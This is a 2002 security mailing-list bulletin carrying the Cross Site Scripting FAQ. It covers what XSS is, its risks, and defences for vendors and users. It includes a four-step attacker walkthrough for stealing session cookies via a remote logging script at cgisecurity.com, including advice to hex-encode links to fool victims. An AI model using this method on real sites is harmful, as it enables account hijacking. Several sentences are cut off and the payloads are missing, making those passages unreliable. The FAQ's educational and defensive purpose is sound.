[REVS] The Cross Site Scripting FAQFrom: firstname.lastname@example.org
- Previous message: email@example.com: "[EXPL] Exploit Code Released for su Vulnerability (Tru64)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: firstname.lastname@example.org To: email@example.com Date: Mon, 5 Aug 2002 15:00:07 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
The Cross Site Scripting FAQ
Websites today are more complex than ever, containing a lot of dynamic
content making the experience for the user more enjoyable. Dynamic content
is achieved with web applications that can deliver different output to a
user depending on their settings and needs. Dynamic websites have a threat
that static websites do not, called "Cross Site Scripting" (or XSS dubbed
by other security professionals). Currently small informational tidbits
about Cross Site Scripting holes exist but none really explains them to an
average person or administrator. This FAQ was written to provide a better
understanding of this emerging threat, and to give guidance on detection
"What is Cross Site Scripting?"
Cross-site scripting (also known as XSS) occurs when a web application
gathers malicious data from a user. The data is usually gathered in the
form of a hyperlink that contains malicious content within it. The user
will most likely click on this link from another website, web board,
email, or from an instant message. Usually the attacker will encode the
malicious portion of the link to the site in HEX (or other encoding
methods) so the request is less suspicious looking to the user when
clicked on. After the data is collected by the web application, it creates
an output page for the user containing the malicious data that was
originally sent to it, but in a manner to make it appear as valid content
from the website.
"What does XSS and CSS mean?"
Often people refer to Cross Site Scripting as CSS. There has been a lot of
confusion with Cascading Style Sheets (CSS) and cross-site scripting. Some
security people refer to Cross Site Scripting as XSS. If you hear someone
say, "I found a XSS hole", they are talking about Cross Site Scripting.
"What are the threats of Cross Site Scripting?"
to fool a user (Read below for further details), or gather data from them.
Everything from account hijacking, changing of user settings, cookie
theft/poisoning, or false advertising is possible. New malicious uses are
being found every day for XSS attacks. The post below by Brett Moore
brings up a good point with regard to "Denial of Service", and potential
"auto-attacking" of hosts if a user simply reads a post on a message
"What are some examples of cross site scripting attacks?"
One product with many XSS holes is the popular PHP program PHPNuke. This
product is often targeted by attackers to probe for XSS holes because of
its popularity. We have included a few links of advisories/reports that
have been discovered and disclosed just from this product alone. The
following collection should provide plenty of examples.
"Can you show me what XSS cookie theft looks like?"
Depending on the particular web application, some of the variables and
positioning of the injections may need to be adjusted. Keep in mind the
following is a simple example of an attacker's methodology.
Step 1: Targeting
After you have found an XSS hole in a web application on a website, check
it is possible to steal them from its users.
Step 2: Testing
Since XSS holes are different in how they are exploited, some testing will
need to be done in order to make the output believable. By inserting code
into the script, its output will be changed and the page may appear
broken. (The result is crucial and the attacker will have to do some
touching up in the code to make the page appear normal). Next, you will
into the URL pointing to the part of the site that is vulnerable. Below we
have provided a few links that are for public use when testing for XSS
holes. These links below, when clicked on will send the users cookie to
www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a
page, displaying a cookie then session hijacking of the user's account is
An example is attached below:
NOTE: The request is first shown in ASCII, then in Hex for copy and paste
the cgisecurity.com website with the cookie in the query. The script on
cgisecurity.com logs each request and each cookie. In simple terms, it is
doing the following:
My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi
This means that it sends a request to the site that looks something of the
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding
for a space)
This is a primitive but effective way of grabbing a user's cookie. Logs of
the use of this public script can be found at
Step 3: XSS Execution
Hand out your crafted URL or use email or other related software to help
launch it. Make sure that if you provide the URL to the user (through
email, aim, or other means) that you at least HEX encode it. The code is
obviously suspicious looking but a bunch of hex characters may fool a few
In our examples, we only forward the user to cookie.cgi. An attacker with
more time could do a few redirects and XSS combinations to steal the
user's cookie, and return them to the website without noticing the cookie
special filtering to prevent cookie theft.
Step 4: What to do with this data
Once you have gotten the user to execute the XSS hole, the data is
collected and sent to your CGI script. Now that you have the cookie, you
can use a tool like Websleuth to see if account hijacking is possible.
This is only a FAQ, not a detailed paper on cookie theft and modification.
A new paper released by David Endler of iDefense goes into more detail on
some of the ways to automatically launch XSS holes. This paper can be
found at <http://www.idefense.com/XSS.html>
"What can I do to protect myself as a vendor?"
This is a simple answer. Never trust user input and always filter
metacharacters. This will eliminate the majority of XSS attacks.
Converting < and > to < and > is also suggested when it comes to
script output. Remember XSS holes can be damaging and costly to your
business if abused. Often attackers will disclose these holes to the
public, which can erode customer and public confidence in the security and
privacy of your organization's site. Filtering < and > alone will not
solve all cross site scripting attacks and it is suggested you also
attempt to filter out ( and ) by translating them to ( and ), ,
and also # and & by translating them to # (#) and & (&).
"What can I do to protect myself as a user?"
The easiest way to protect yourself as a user is to only follow links from
the main website you wish to view. If you visit one website and it links
to CNN for example, instead of clicking on it visit CNN's main site and
use its search engine to find the content. This will probably eliminate
ninety percent of the problem. Sometimes XSS can be executed automatically
when you open an email or attachment. If you are receiving email from a
person you do not know (or do not like) do not trust anything it has to
browser settings. In IE turn your security settings to high. This can
prevent cookie theft, and in general is a safer thing to do.
"How common are XSS holes?"
Cross-site scripting holes are gaining popularity among hackers as easy
holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com,
Ebay, Yahoo, Apple computer, Microsoft, ZDnet, Wired, and Newsbytes have
all had one form or another of XSS bugs.
Every month roughly 10-25 XSS holes are found in commercial products and
advisories are published explaining the threat.
"Does encryption protect me?"
Websites that use SSL (https) are in no way more protected than websites
that are not encrypted. The web applications work the same way as before,
except the attack is taking place in an encrypted connection. People often
think that because they see the lock on their browser it means everything
is secure. This just is not the case.
"Can XSS holes allow command execution?"
execution. If an attacker were to exploit a browser flaw (browser hole),
it could then be possible to execute commands on the client's side. If
command execution were possible, it would only be possible on the client
side. In simple terms, XSS holes can be used to help exploit other holes
that may exist in your browser.
"What if I do not feel like fixing a CSS/XSS Hole?"
By not fixing an XSS hole this could allow possible user account
compromise in portions of your site as they get added or updated. Cross
Site Scripting has been found in various large sites recently and have
been widely publicized. Left un-repaired, someone may discover it and
publish a warning about your company. This may damage your company's
reputation, depicting it as being lax on security matters. This of course
also sends the message to your clients that you are not dealing with every
problem that arises, which turns into a trust issue. If your client does
not trust you, why would they wish to do business with you?
"What are some links I can visit to help me further understand XSS?"
"Cross-site scripting tears holes in Net security"
Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
Paper on Microsoft's Passport System
The information has been provided by CGISecurity.com.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: firstname.lastname@example.org
In order to subscribe to the mailing list, simply forward this email to: email@example.com
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.